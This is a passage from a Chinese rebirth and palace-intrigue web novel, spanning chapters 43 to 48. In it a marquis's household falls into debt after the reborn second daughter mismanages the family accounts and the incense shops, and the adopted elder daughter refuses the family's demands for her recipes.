“二小姐，今儿我们要不到银子，是不会离开的！” 翠红叉着腰大骂道：“我家小姐开的香料铺子日进斗金，还能拖欠你们这点银子？！” “赶紧滚，不然报官了！” “二小姐，我们可是听说了，你的香料铺子亏惨了，都卖了三个铺子出去了！” “我们再不上门，可一分银子都讨不到！” 苏明珠脸色一白：“胡说八道！” “我们没有胡说八道，你要是说我们胡说八道，你就把银子给我们！” 门口有一个小丫鬟跑了过来：“二小姐，不好了二小姐！” 苏明珠气得一巴掌打在翠红脸上：“咋咋呼呼干什么？！” “那些个管事们直接到咱府上退香料来了！” 苏明珠心里咯噔一声。 完了。 香料铺子的事，也瞒不住了。 第43章 欠债还钱 “欠债还钱，本就天经地义，二小姐你不必在我们面前逞威风，赶紧把银子还了才是正理！” “以前大小姐掌家的时候，七月二十五会让人来通知，让我们什么时候上门来拿银子，大小姐的账目做得清楚明白，对我们也是客客气气。二小姐不通知，我们当然自己来了！” “二小姐还是把账平了吧，不然今后可是没有铺子敢赊账给威远侯府了！” 掌柜们围在门口，七嘴八舌地大声叫嚷。 苏明珠正在焦头烂额，香料铺子的掌柜又来了：“二小姐，退货的又来了！” 苏明珠一个头两个大：“不是把劣质香料全都换了吗，怎么还要退货！？” 掌柜抹了把头上热汗：“二小姐，那些管事说了，买回去的香不是以前的那个味儿，他们府上的夫人老爷用惯了以前的，说我们这个是假货。” “这次的香用的全是上好的香料，货肯定不假的，那就是香料调制的问题。” 苏明珠眉头一皱：“调香师呢，没有按我给的方子调制吗？！” 两个调香师也来了，这么大的锅，他们也背不下。 “二小姐，我们可是严格按照方子来调香的啊，您就算换一百个调香师，调出来也是这个味儿！” “您要不信，拿着自己去调！” 高门大户的管事也围了上来： “二小姐，这香和以前完全就不是一个味儿，买了两次都没有买到合适的，我们家主子差点没把我打死！” “要么拿以前的货来，要么就退银子！” 苏明珠把收来的货款全部买了新的香料，这个时候哪里还有银子，她还等着香料铺子上赚了银子，付商户们的货款呢。 面前这么多人吵来吵去，苏明珠只觉得脑子嗡嗡响。 眼前一黑，差点原地厥过去。 万氏和威远侯出来一看，就看见门口乌泱泱围满了人，苏明珠撑着额头，一副摇摇欲坠的模样。 “怎么回事？” “低贱商户，好大的胆子，竟敢欺辱到我们侯府头上来了！” 退香的管事都是来自高门大户，商铺管事背后也有人，一点也不怕威远侯这个破落户，大骂道： “侯府怎么了，侯府就可以欠债不还？！” “侯府就能卖假货？！” “退钱！！” 万氏眉心一皱：“什么假货？！” 管事掌柜们七嘴八舌将香料的事情说了，“都退过一次了，上次是用了劣质香料，这次是气味不对。” “夫人，今儿要是要不到银子，我们可是要进侯府搬东西的！” “搬什么东西，直接报官！” 万氏脸色越来越难看，捻着佛珠的手指尖被掐得泛白。 今儿可是她的生辰，府上这么多官家夫人，她的面子...... “明珠，把银子结了，该退的货，也退了。” 苏明珠哆嗦着唇瓣，“母亲，我......没、没有银子......” 万氏：“没有银子？之前的银子呢？！” 苏明珠见瞒不下去了，只能交代：“我被人骗了，买到了假香料，亏了些银子。” 万氏：“亏了多少？” 苏明珠：“一万......五千两。” 万氏忽然一抖，连着后退了好几步：“那之前你给我的银子哪里来的？” 苏明珠颤抖着唇瓣不知道该怎么开口，忽然一个商户开口道：“二小姐都卖了三个铺子了，要是给不了银子，继续卖铺子呗！” 万氏立刻明白，之前那三千两，是苏明珠卖铺子的钱。 “账本拿来，一共欠了多少？” “退货要退多少？” 今日是万氏寿辰，她就算打落牙齿和血吞，也要把这个窟窿给堵上。 商铺掌柜拿出提前算好的账本：“丝绸铺子三千两、粮油铺子二百两、血燕五千两、冰一千两......” 日常开销一共一万三千两。 各大门阀世家的管事退香，一共要退五千两。 加一起一万八千两。 万氏捏着苏明珠的手腕：“账上还有多少银子？” 苏明珠：“两千不到......母亲，女儿打算香料铺子赚了钱之后就付的，哪里知道香料的方子出了问题......” 万氏脑子里“哐当”一声巨响，差这么多，岂不是她的两万本金都收不回来了。 万氏对银钱最是看重，两万本金要是收不回来，岂不是等于割她的肉。 万氏一个没撑住，“咯噔”一下，当场厥了过去。 “母亲！！母亲！！” 苏明珠：“你们这帮刁奴，把我母亲都气晕了，还不快滚！” “二小姐，侯夫人可不是我们气晕的，是被你气晕的！” “你刚接过府上中馈不到两个月，就把府上的积蓄全部败光了！” “就是，以前舒窈大小姐掌家的时候，哪里有这些事！” “还有那些个香料铺子，以前大小姐经营铺子的时候，可是一本万利的生意，落到二小姐手上还没几天，就要垮了！” “啧啧啧！也不知道侯爷和夫人怎么想的，眼睁睁看着不争气的子弟把家败了！” 威远侯冷眼瞧着苏明珠，一言未发。 他恨不得一脚把苏明珠踹死。 但，当着这么多人，他要脸面，不能做出虐打亲女这种残暴的事来。 “大家稍等片刻，本侯爷今天肯定会给大家一个交代！” 说完，威远侯便带着万氏和苏明珠进府商议去了。 侯府出了这样的大事，肯定瞒不住，一些退香管事的主子还在府里吃酒呢，没一会儿，宾客便纷纷议论起来。 “前面吵吵闹闹的怎么回事啊？” “听说二小姐掌家，把家都给败了，现在付不出银子了。” “之前大小姐不是经营了十多家香料铺子吗，也被二小姐把声誉给败完了，做垮了，各家的管事都在门口退货呢！” “那些香料铺子不是大小姐一间间开起来的吗，是大小姐的私产。” “二小姐说那是侯府祖上传下来的方子，那些香料铺子应该属于侯府，铺子也被二小姐强抢了过去。可惜了，好不容易做出的口碑。我们家老夫人对香气非常挑剔，只认准了大小姐铺子上的香，别家的香都入不了她的眼，现在铺子垮了我们还不知道去哪里买去！” “哎，这就是养女和亲生女儿的区别。” “刚刚那些说大小姐要害死世子，估计也是谣言！” 戏台上的戏子唱得咿咿呀呀，苏舒窈看着头顶云卷云舒，淡然一笑： “殿下，今儿这场戏，可否满意？” 第44章 蠢货 楚翎曜端起一盏茶，动作矜贵又优雅，眼皮懒洋洋抬起，嘴边噙着半抹笑：“勉强满意。” 苏舒窈淡淡地看过去：“殿下还觉得我像棉花吗？” “绵里藏针。”楚翎曜敲着手指，重新评价：“不对，应该是藏了刀。” “刀还挺锋利。” 他站起身，拍了拍锦袍。 清晨的阳光泛着金，衬得那张脸越发温良，眉梢深藏的一抹冷意，显出几分疏离，将他与世间万物隔离开来。 “从今儿起，你便是本王的人了。” 看完好戏，楚翎曜便带着人离开了。 他还赶着去抄下一家。 苏舒窈看着楚翎曜的背影，笑了笑。 在九殿下面前，总是有种受制于人的憋屈。 她不太喜欢。 出了这样的大事，寿宴还要继续，送了贺礼的人家一个没走，全都选择留下来吃饭看戏。 春景园，厢房内。 万氏已经醒了，但还虚弱着，她躺在罗汉床上，冷着脸，不看苏明珠。 威远侯：“去，把大小姐、大少爷、二少爷、三小姐全都叫来！” 小丫鬟还没来得及出门，又被威远侯叫住：“把月姨娘也叫来！” 苏舒窈早已做好了看戏的准备，被叫来也没有觉得惊讶。 “现在该怎么办？”威远侯的视线在众人脸上逡巡了一圈，落在苏舒窈和月姨娘身上的时候，明显多停顿了几秒。 意图很明显，想让苏舒窈和月姨娘出银子填窟窿。 月姨娘低着头，谨守本分。 苏舒窈抿着嘴不说话。 最后还是苏明沛开口：“父亲，先给银子，把商户打发了。” 威远侯冷哼：“一万多两，哪里来这么多银子？！” 上次为了救苏明沛，那三千两和红宝石盆景，还是威远侯私库出的。 威远侯见苏舒窈和月姨娘不说话，转头骂道：“明珠，你说，怎么用了那么多银子？！” 威远侯捏着账本，眼睛快要喷出火星子来：“血燕？？我们侯府什么时候能吃上血燕了？！” “往年做衣服一个季度两件，现在一个月就六件！！” “冰的用量是往年的三倍，奴才的月银也涨了......” “苏明珠，你怎么管家的？！” 威远侯恶狠狠瞪着苏明珠，恨不得把她生吞活剥了。 “苏舒窈管家的时候，哪里出现过这样的情况？！” 活了两辈子，苏明珠还是第一次被威远侯用这样的眼神瞪着，她委屈得红了眼眶。 苏明沛开口道：“父亲，明珠也是为了大家好，用了这么多，也是大家享受了。” 苏明珠掌家这段时日，侯府每个主子都过得很贴心，简直是有求必应。 大家都是得了好处的。 苏明芷也道：“对啊，香料铺子上挪点银子补上就行了。香料铺子赚那么多银子，我们多用点怎么了！” 威远侯：“闭嘴！” “香料铺子都快被人给掀了！赚银子？先把钱赔上吧！” 又看向苏明珠：“说，香料铺子怎么回事？！” 苏明珠已经从一开始的恐慌中镇定了下来，仔细想来，她应该是被苏舒窈阴了。 祖上留下的方子，并不是香料铺子里使用的方子。 苏舒窈那个贱人，原来还藏了这么一手！ 只要逼迫苏舒窈把方子交出来，今儿这事，就有转机。 还能把锅甩出去。 “姐姐留下的香卖完了，需要进货。进货的时候被人骗了，亏了一点，但也无妨，那个骗子留了一仓库的粮食给我，再等一个月，我把粮食卖了，就能弥补亏空。” 听到这里，万氏稍微心安。 只要她的两万两银子保住了就行。 威远侯又问：“那些管事到香料铺子退货又是怎么一回事？听说之前已经退了一次了。” 苏明珠道：“第一次退货是香料出了问题，这一次应该是方子出了问题，调制出的香气味不对。姐姐，制香的方子，还要请你交出来。” 苏舒窈淡淡一笑：“妹妹这话不对了，祖上的方子不是全在妹妹那里吗？我这里哪里还有什么方子？” 苏明珠：“祖上的方子调制出的香品和姐姐之前售卖的香品，香气可不一样。我都问过了，姐姐那里还有其他的方子。” 苏舒窈直直地看过去：“既然不是祖上的方子，那些个香料铺子，该不该算作我的私产？” 苏明珠没有说话。 苏舒窈继续道：“苏明珠，你败光了我的私产，现在又找我要方子，真是不知廉耻、贪得无厌。” 苏明沛想开口帮着苏明珠说两句，张开嘴，也不知道该怎么开口。 如果不是祖上的方子，那些铺子，确实该算作苏舒窈的。 苏明珠忽然就委委屈屈起来，眼眶里包着泪花，一副我见犹怜之态：“姐姐，你别这么自私自利好不好，现在关乎整个侯府存亡，你应该大度一点，把方子拿出来，让侯府渡过难关。” 苏舒窈淡淡一笑，就知道她会胡搅蛮缠：“苏明珠，你搞清楚，让侯府遭遇大难的罪魁祸首是你！你不先把眼前的事解决了，反而质问起我来了？” 苏明珠早已泪流满面，“父亲，姐姐不愿意拿出方子，我也不怪她。都是我的错，你要是生气，打我骂我，我也是没有怨言的。” 换作以前，苏明珠这般说，威远侯心里早就软了。 但这一次，威远侯一巴掌就甩了出去。 真是蠢货，害得侯府名声尽失不说，还亏了这么大一笔银子。 现在不想着解决问题，反而还在扯什么方子！ 苏舒窈管家的时候明明好好的，账上银子随便支取，苏明珠争强好胜把中馈和铺子抢了过去，落下这么大一个烂摊子。 威远侯气急败坏，上去又是一脚。 苏明珠结结实实挨了打，一脸不可思议。 父亲竟然打她...... 难道不该趁机逼迫苏舒窈交出香料铺子的秘方吗？ 威远侯这一巴掌是用了力的，苏明珠脸上立时起了一个深红的手掌印，半边脸也肿了起来。 哦豁，不能出去招待客人了。 苏明添开口道：“香料铺子亏了？这么多香料铺子，全亏了？还卖了三个铺子？！” “那以后我们府上用香怎么办？” 万氏的檀香，威远侯的龙涎香，苏明沛苏明添用的松香，苏明芷的百合香...... 全都没有了。 以前都是管事直接去香料铺子上拿香，一分钱不用给，还全都拿的是好货。 不止是用香，以后他们侯府的开销怎么办？！ 娇生惯养的少爷小姐，哪里能吃得下没钱的苦。 苏明芷和苏明沛听说香料铺子亏了，脸色也跟着一变。 正在这时，管事的又来了：“侯爷，夫人，管事和掌柜们在问，还要等多久？” 威远侯看向万氏：“夫人，这银子......” 万氏：“侯爷，妾身哪里还有银子，之前明珠买香料缺钱，在我这里拿了两万两，明沛拜师，又从我这里拿走五千两，妾身是真的一分都没有了......” 万氏原本只是想装一下，结果越说越伤心，竟然真情实感地抽泣起来。 威远侯看向苏舒窈：“舒窈，你那里有没有多余的银钱......” 第45章 逼迫 苏舒窈心中冷笑，威远侯在外装得刚正不阿，私下里竟然厚着脸皮开口找她要银子。 “侯爷，我这里只剩一个花草铺子了，侯爷也要拿去？” 上一次移交中馈的时候，苏舒窈就将全部香料铺子上交。 明面上，她手上只剩一个花草铺子，这个铺子还是老夫人留给她的嫁妆。 威远侯：“香料铺子经营了这么多年，以前赚的银子，总有剩余吧。” 苏舒窈：“没有剩余，全部用于侯府开销了。” 苏明芷：“胡说八道，香料铺子一年十多万两的盈利，我们哪里用得了这么多？！你手上肯定有银子！不然你哪有银子去赌草！你开的小厨房，难道不要银子？” 苏舒窈让人拿出账本：“香料铺子一开始赚不了那么多，以前都是积累客户，这两年才赚钱的。刚赚钱，夫人就把府里的中馈交到我手上，侯爷的字画、世子的古玩用了数万两，之前侯府遇到困难，夫人卖了不少祭田，我管理中馈之后，又花银子把祭田买了回来。账本在这里，你们可以随便看。” 这个账本是提前做好的，任谁也查不出一点错误。 苏明芷哪里看得懂什么账本，“你的意思是，你没钱了？” 苏舒窈点点头：“没了。” 她叹了口气：“我还说，等两年香料铺子赚得多，有了银子，大家的份例提一提，隔壁的院子买下来，打通了把二哥的院子扩大一些，二哥的院子现在够住，以后娶了媳妇就小了。” “有了银子，明芷妹妹的嫁妆也能丰厚许多，府上爷们出门，身上也能多带点银子。” “我倒是无所谓，就是苦了大家了。” “哎，现在香料铺子这个样子，失了口碑，再要想做起来，难了。” 苏明芷听说自己的嫁妆没了，简直心疼难耐，也责怪起苏明珠来：“明珠姐姐，你怎么搞的，要是不行就把铺子还给舒窈姐姐！” “咱侯府的富贵都被你败光了！” 威远侯脸色也不太好。 是啊，原本他想买什么，直接账上支银子就行了。 现在出去喝个花酒都要他自己给银子，苏明珠捅出的篓子还要他来补。 万氏也开始后悔将香料铺子交给了苏明珠。 她这几天就是觉得檀香的气味不太对，搞得她礼佛的时候，心绪都是慌乱的。 原来是香出了问题。 苏舒窈简单几句话，便把所有仇恨全部引到了苏明珠身上。 一开始还维护苏明珠的亲人们，翻脸比翻书还快。 苏明珠咬着牙，装出一副可怜兮兮的样子，默默垂泪。 以前她这样做，大家都觉得她可怜。 现在她这般，大家只觉得她做作。 侯府这一家子人，全是自私自利，利益至上，完全不顾亲情。 在苏舒窈这里要不到银子，威远侯看向苏明沛：“世子，这银子你先垫上。” 苏明沛一个月就五十两月例，还不够他用。 “父亲，我哪来的银子？” 威远侯看了一眼月姨娘。 你没有，你的贵妾有。 苏明沛一下就明白了威远侯的意思，但他要面子，哪里肯开口找女人要钱。 “上次为了救你，我拿了三千两和一个红宝石盆景，还有，之前你要拜师，从你母亲那里拿走了五千两。”威远侯继续道：“苏明沛，你是世子，要有担当，这侯府迟早要交到你手上，难道你要眼睁睁看着侯府败落？！” 苏明沛从万氏那里拿的五千两，没有买围棋，也没还给万氏。 他拿去赌马，凭借上一世的记忆，赢了不少。 但被锦衣卫抓住之后，银票全被搜刮了去。 苏明沛这才看向月姨娘，“阿梨，你先借我，我给你打欠条，等我高中之后，一定双倍还你。” 月姨娘心中暗骂一声晦气，脸上依然笑盈盈道：“世子，你我之间，不用如此多礼。” 她没有动，眉间染上一抹愁绪：“我无所谓，就是怕被人知晓世子拿了妾的银子，对世子声誉有影响。” “旁人不会知晓。”威远侯环顾一周：“本侯敢保证，在座众人，不会往外说一句。” 月姨娘看了眼苏舒窈。 她现在是真的确信，侯府有人想要她的命了。 堂堂侯爷不要脸，大张旗鼓直接要她一个妾的银子。 这种事都干得出来，还有什么事是他们干不出来的。 以为攀上高枝，没想到侯府竟然是个破落户。 月姨娘知道，如果不拿银子，她会死得很快。 如果拿出银子，还能有活路：“世子，您先写欠条吧，您写多少，妾身拿多少。” 苏明沛让人拿了文房四宝进来写欠条：“先拿一万八千两，把账平了。” 月姨娘拿到欠条，回房取银子。 危机解除，侯府众人全都松了一口气。 可是，剩下的烂摊子该怎么办。 香料铺子势必要收回来，不能再让苏明珠祸害了，可是，收回来之后，谁来接管。 威远侯看向苏舒窈：“祖上留下来的香料铺子，还是交给你来管。” 他着重“强调”了祖上二字。 真是一群无赖，就算这样，也不肯承认香料铺子是属于她的私产。 苏舒窈：“侯爷，当初你们嫌我外出做生意抛头露面损了侯府名声，现在又要逼我抛头露面？” 苏明沛骂道：“苏舒窈，你怎么和父亲说话的？！” 苏舒窈反问：“难道不是吗？” 当初她开第一个香料铺子的时候，经常要去铺子上看着，万氏冷言嘲讽：“咱侯府缺你一口吃的还是什么的，堂堂千金大小姐抛头露面做生意，像什么话？！” 威远侯担心她亏钱之后要侯府填窟窿，说的是：“一切盈亏自负。” 后来铺子赚了钱，万氏立刻让她填补侯府亏空。 再后来苏明珠将香料铺子抢走。 现在败光了铺子声誉，又要她捡烂摊子。 真把她当成软柿子了。 “苏明沛，你真的一点都不觉得羞愧？” 苏明沛也有些心虚，但又不肯服软：“既然你不愿意管，就把方子交出来，明珠不能管，明芷来管，母亲也是能管的。” 苏明芷想说她管不了，万氏不善掌家，没有教过她，她也不会。 可是，就算她不管家，也希望苏舒窈拿出方子。 那可是一本万利的生意。 万氏的嫁妆，大部分都是大哥的，父亲更是抠门。今后她的嫁妆，还要靠着铺子。 “舒窈，把方子拿出来吧，这是为了侯府好。”苏明芷说道。 “没有。”苏舒窈淡然一笑：“没有方子。” “苏舒窈，以大局为重。”万氏眉心一皱：“现在侯府有难，月姨娘都伸出援手，你怎么好意思袖手旁观的？！” “苏舒窈，你要当一个不孝女吗？！” 第46章 紧衣缩食 在大夏，一个人背上“不孝”的名声，就完了。 养恩大于生恩，万氏仗着养育了她，就要她千依百顺。 “苏舒窈，方子拿出来。” 苏舒窈浅浅一笑，不疾不徐道：“确实是有方子的。” “但，方子不是我的，是调香师带来的，香料铺子的利润一向是和调香师平分的，苏明珠把调香师辞退了，我到哪里去拿方子？” 苏舒窈从怀中取出刚才九殿下所赠玉佩，从容不迫地挂在腰间。 以前是没有依仗，需要忍气吞声。 现在扯着九皇子的虎皮拉大旗，她可不会对这一家子客气。 万氏眉心一皱：“你不会这么傻吧，做了这么多年香料生意，竟然没有拿到方子？” 苏明芷：“你该不会是故意不给吧？” 苏舒窈笑了笑：“怎么可能，我可是全心全意为侯府着想的，你要不信，可以去找调香师打听。” 她眼神清明，不想是在说谎，苏明芷讪讪收回视线。 万氏：“那你去把调香师找回来，既然合作了那么多年，总是有些情分在的。” 苏舒窈：“我听说调香师重新开了铺子，自己当老板了。” 苏明珠忽然想起来了：“母亲，我之前不是说了吗，我们家的铺子旁新开了香料铺子，我看见调香师在里面，抢了我们好多客人。” 苏舒窈摇摇头：“人家另起炉灶，怕是请不来了。” 万氏这才动怒了：“那我们侯府的香料生意......岂不是毁于一旦了！” 没了香料铺子，今后生活水平要大大降低了。 她每日的檀香怕是都用不上了。 一年十多万两的进益，就这么没了。 万氏捂着胸口，只觉得胸口处有把刀，在一刀又一刀剜她的血肉。 苏明芷一下子跌坐在椅子上：“母亲，我的嫁妆怎么办！！” 苏明添也恼怒：“母亲，我还能娶妻吗？” 万氏气得双手发抖：“苏明珠，你这个蠢货，你怎么这般蠢啊！！” 当初苏明珠给万氏送血燕的时候，万氏可是恨不得把苏明珠捧到心尖上。 苏明珠犯了错，马上就变成了万氏口中的蠢货。 万氏的母爱，是明码标价的。 有价值，就是万氏心中的乖女儿，一旦失去价值，便弃如敝履。 苏明珠跪在地上，膝行几步抱住万氏的双腿：“母亲别担心，我还有一仓粮食，下个月把粮食卖了，就能把亏空补上。” “母亲，放心，女儿绝对不会让母亲生活品质降低的，小妹的嫁妆我也能赚回来。” 她可是重生的。 前世的事，她都记得，再过两年，南街的铺子会暴涨，只要有本钱，多买点铺子囤起来，也能赚钱。 她还知道下一届的皇帝是谁，只要提早搞好关系，侯府必定会前途无量的。 “母亲，你信我，我肯定会赚钱回来的！” 可是，不管苏明珠怎么说，万氏都不信她了。 “剩下的几个铺子，先租出去收租。香料生意是做不成了。” 万氏看向苏明珠，厉声道：“粮食卖了，及时把银子还给我。” 苏明珠抖索着唇瓣，满脸泪痕：“母亲，你放心，肯定会还给你的。” “这府上的中馈......”威远侯看向苏舒窈。 苏舒窈是肯定不能接的，侯府的中馈是个无底洞，谁接谁倒霉。 万氏也不想接。 苏明珠犯了这么大的错，肯定不能让她再管了，万氏想把中馈交给月姨娘。 月姨娘有银子，就是吧，偌大一个侯府，让一个姨娘来管中馈，说出去太难听了。 会伤害侯府的体面。 威远侯肯定不会允许。 “中馈先由我来管着吧。”万氏只能先接下来。 安排好之后，万氏重新洗脸上妆，明明心里难受得不行，还要保持微笑出去待客。 苏明珠脸上有个巴掌印，不敢出去，称病回了院子。万氏带着苏明芷和苏舒窈出去应酬。 各家夫人没看到苏明珠，更加坐实了谣言。 万氏的寿宴，苏明珠的名声一炮打响，不过是臭的。 想必过不了多久，人人都知道，威远侯府二小姐，差点把整个威远侯府都给败光了。 价值万金的香料铺子放到她手上，变得分文不值。 从姐姐手中抢来中馈，管理得一塌糊涂。 骄奢淫逸，欠了一屁股债，债主都上门来了。 苏舒窈反而成了小可怜。 明明有能力，因为是养女，一直被打压。 苏明珠听到流言，气得摔了不少碗碟。 “全都是苏舒窈害的！” “苏舒窈，这个仇我记下来了！” 第二天，侯府就开始发卖奴仆了。 “夫人说了，每个院子只留一个大丫鬟一个小丫鬟，其他的全部发卖。” 侯府开始开源节流，养不起这么多闲人了。 倚兰居原本四个大丫鬟，三个婆子，四个洒扫丫鬟，只能留两个丫鬟，其他全部发卖。 万氏那个蠢货，把忠心的家仆卖了，剩一些油嘴滑舌地在身边伺候。 侯府离倒闭不远了。 万氏前脚将人卖了出去，苏舒窈后脚就去人牙子那里，除了万氏身边的人，以前老夫人老侯爷留下的家仆，她全部买了回来，送去了大伯府上。 伺候的人少了，短时间还不觉得不习惯，这么热的天，没有冰才难受。 苏明芷看着送来的水煮青菜，气得破口大骂：“怎么回事？就给我吃这个？！” 丫鬟回道：“小姐，夫人那边说，一直到年底庄头送银子来，都只能吃这个了。” 苏明芷直接一个大破防：“你的意思是这些水煮菜一直吃到过年？！” 丫鬟点头：“嗯。夫人那边说了，想要加菜，自己出银子。” 苏明芷把筷子一摔，一点胃口全无。 苏舒窈管家的时候，哪里出现过这种情况。 这才第一天，她就现在开始想念苏舒窈管家的时候了。 “苏舒窈呢？她的小厨房还开吗？” 丫鬟道：“大小姐今儿一早就出去了，小厨房没开火。” 不仅是苏明芷这边，苏明沛午饭也只有两个水煮青菜。 还好月姨娘有银子，可以加菜，苏明沛天天到月姨娘这里蹭饭。 月姨娘纳闷了，以为找了个世子，没想到是个软饭男。 威远侯有私房可以到外面吃，苏明珠吃着水煮菜也不敢抱怨。 她每天都去威远侯那里要朝廷邸报来看，就盼着瘟疫快点来，粮食快点涨价。 等了约莫半个月，南方水患的消息终于传来，粮食开始涨价了。 苏明珠按捺不住喜悦，终于可以翻身了！ 第47章 好生斗一斗 粮食涨价的消息一出，万氏那边也收到了消息。 苏明珠和万氏之间的母女关系也跟着缓和了不少。 “母亲，买冰现在来不及了，趁着药材的价格没有涨起来，买点药材囤上，尤其是治疗瘟疫的药材，到时候肯定会赚钱的。” 万氏：“你怎么知道这些的？” 苏明珠：“母亲，女儿每日在家看朝廷邸报的，南方遭遇了百年一遇的水患，水患加上这么热的天，势必会引起瘟疫。” 万氏有些惊讶：“你竟然会这些？” 苏明珠谦虚道：“其实很简单，多看看就行了。关注朝廷动向，对我们这样的人家是极其有利的。” 她压低声音，“母亲，看了这么多日的朝廷邸报，我估摸着，最近朝廷可能会有大动作。” 万氏看了她一眼：“什么动作？” 苏明珠：“户部官员可能会大换血，户部侍郎职位不保。” 上一世的事，苏明珠记得也不是太清楚，但户部右侍郎被抄家的事可是传得沸沸扬扬。 抄家的人是九皇子，听说九皇子先斩后奏，抄家之后才禀明圣上。 户部右侍郎确实贪墨了不少银子，但先斩后奏这种事搞得整个朝堂人心惶惶。 九皇子被朝臣弹劾的帖子满天飞，都被皇帝压下来了。 当初还传出，九皇子深受皇帝宠信，有继位的可能。 苏明珠对这件事印象深刻。 户部右侍郎被抄家的日子也就在这几天。 万氏完全没把这件事放在心上，毕竟一个内宅女眷，怎么可能看两天朝廷邸报就懂政治了？ 结果没几天，户部右侍郎被抄家的消息传来，万氏震惊了。 明珠她真是的懂。 仔细想来，之前明珠说的冰价、粮食、药材的价格都会大涨...... 天气越来越热，冰价已经高不可攀，但药材的价格刚涨起来。 万氏听了苏明珠的话，买了不少药材。 她心里那个后悔啊，后悔没早点听明珠的，多买点冰。要是当初多囤点冰，不知道要多赚多少银子。 苏明珠安慰道：“母亲别担心，以后赚银子的机会多着呢。” 她心里盘算着，过几天把粮食卖了，手上有了银钱，便可以去南街大肆购买铺子了。 等南街的铺子涨起来，就能将之前丢失的名声，一点一点拾起来。 她一定要一雪前耻。 ~ 从诏狱出来之后，苏明沛开始老老实实在家看书。 他很清楚，要想走到上一世的高度，必须通过科举入仕。 现在的皇帝亲世家勋贵，但三皇子即位之后，最喜欢的是科举入仕的寒门子弟，干实事的人。 靠恩荫入仕的子弟，在朝中被打压得很惨。 到了吃饭时间，苏明沛看着面前的清水煮萝卜，顿时没了胃口：“月姨娘呢？” 书棋被撵了，现在跟在他身边的小厮叫明画。 明画老实回道：“月姨娘身子不舒服，午膳没用就歇下了。” 苏明沛胡乱扒了几口饭，便让人撤下去了。 这一天天的，还没月姨娘养的狗吃得好，那条狗天天都有肉吃。 忽然有些怀念苏舒窈掌家的日子，不说山珍海味，每天都有大鱼大肉，夏天有冰冬日有碳。 不像现在，这么热的天气，屋子里就放了两盆冷水。 他在家老老实实看了几天书，忽然开口问道：“苏舒窈怎么没来？” 明画有些懵：“大小姐，世子要找大小姐？” 苏明沛冷哼一声：“本世子找她干什么？本世子问你，她有没有来烦我？！” 上一世，苏舒窈很是关心他的学业，每日都要过问。 问他看了多少书，读了些什么内容，有时候还要和他讨论两句。 男人科举的事，她一个女子，懂什么？ 不过，苏舒窈也有好处，有时候他看书看累了，苏舒窈会想法子给他解闷，把他哄高兴。 苏舒窈忽然不来了，他还有些不习惯。 明画摇摇头：“世子爷，大小姐一次也没有来过。” 苏明沛“啪”地把手上的毛笔扔了。 看着明画那个呆样，心里就是气。 要是书棋在，定会想办法帮他排解忧思，或者把苏舒窈找来。 明画这个呆子，什么都不懂！ 苏明沛往窗外看了一眼：“不来最好，要是她来了，把她给我轰出去！” 明画：“是，世子！要是大小姐来了，小的一定把她轰出去！” 苏明沛更气了。 都怪苏舒窈，把书棋撵了，他身边只剩这一个呆子。 对了，苏舒窈怎么忽然变了？ 他记得上一世直到死之前，都是好好的，这一世怎么忽然就变得不知进退、面目可憎了？ 她好像是从苏明珠回来之后变化的。 苏明珠是他嫡亲的妹妹，丢了这么多年，他对苏明珠好一点不是很正常？ 苏舒窈一个养女，要不是侯府把她养大，她都不一定能长大成人。 她拿什么和苏明珠比？ 他对明珠好，她苏舒窈吃什么醋！ 苏明沛兀自气了一下午，魂不守舍了一下午，书都没看几页。 明画感受到书房的低气压，大气不敢出，最后还是把月姨娘请来，苏明沛脸色才好看了许多。 府上主子份例骤降，月姨娘的份例也跟着减，月姨娘在侯府的吃穿用度，全花的是自己的银子。 苏明沛这个软饭男天天到她这里蹭饭，她看着就心烦。 更别说侯府还有人在暗中谋财害命。 月姨娘夹子音都快夹不下去了，真想一走了之。 凭着她肚子里的孩子，她去了外面，也能一世安稳。 “世子这是怎么了？” “没什么，暑热心烦。”苏明沛把月姨娘揽进怀里，“对了，孩子有没有闹你？” 月姨娘摇摇头，娇滴滴道：“世子，这是我们的第一个孩子，如果是男孩，像世子这般聪慧就好了。” 苏明沛摸着月姨娘的肚子：“如果是男孩，等我继承侯府，定会立他为世子。” 月姨娘惊讶地用绣着凤仙花的帕子捂了嘴，一双秋水般的眸子眨了眨，轻轻叫了一声：“世子，妾身只是个妾......这孩子怎么能越过主母的孩子去？” 苏明沛捏着她的手，小声哄道：“阿梨，你信我，我对你的承诺，何时没有兑现过？” 上一世，他和唐氏没有孩子，纳的几个妾也没有生育。 这一世，就算再和唐氏成亲，也不会有孩子。 这个孩子，是他两世以来的，第一个孩子。 这也是他为什么坚持要娶月姨娘的原因。 月姨娘肚子里的，是他两世以来，唯一的孩子。 月姨娘怯生生看过去，声音越发婉转：“世子，你对妾身真好。” 她明白，苏明沛对她是真心的。 要害她的，另有其人。 这侯府，还是可以留一留的。 孩子成了世子，她也能得到诰命。 为了肚子的孩子，她愿意留下来，好生斗一斗。 第48章 希望 苏舒窈很快得知万氏买药材的消息。 秋霜：“大小姐，我们要不也跟着买一点？少买一点试试看，就算不卖，到时候也是可以用的，就怕到时候真的涨价，有钱都买不到。” “也不知道夫人哪里得来的消息？可靠不可靠？” 秋霜愁得很，苏舒窈却一点也不急，慢慢悠悠侍弄着手上的兰草。 “不买。” 苏舒窈放下手中铁铲，秋霜立刻递上擦汗的帕子。 “你想一想，我们哪里有钱买？” 她的一举一动万氏都盯着呢，她现在可是一点钱也没有，小厨房都停了。 秋霜：“大小姐，要不我们偷偷买点粮食吧，最近粮食涨了不少，听说二小姐要赚不少钱。” “粮食就更不能买了。” 苏舒窈记得很清楚，上一世，因为水患、瘟疫，粮食、冰、药材这三样大涨价。 尤其是粮食，价格翻了十倍不止。 但，只有囤冰和药材的赚了钱。 朝廷开仓放粮，各大世家也开设粥棚，那些投机倒把囤粮的商人，可是一分也没赚到，还遭了殃。 苏明珠这段时间又开始蹦跶了，算一算日子，也蹦跶不了几天。 就喜欢看她雄赳赳气昂昂，一副胜券在握，然后忽然被打击之后，一脸震惊错愕的样子。 到了吃饭的时间，苏舒窈带着人出了府。 侯府的清水煮菜，她是一点也吃不了，她要去大伯娘府上吃烧鸡。 “舒窈回来了！” 刚走到门口，就听见苏明沣欢快的叫声。 阳光少年带着一身朝气，像只小马驹似的冲到了她面前，“舒窈，怎么好久没来了？” 苏舒窈被他的热情感染，声音不自觉带了一丝甜：“三哥哥。” “快进来，二哥回来了！你还没见过二哥吧！” 苏明沣拉着她的手往里走，他的步子大，牵着苏舒窈的时候，故意放慢了脚步。 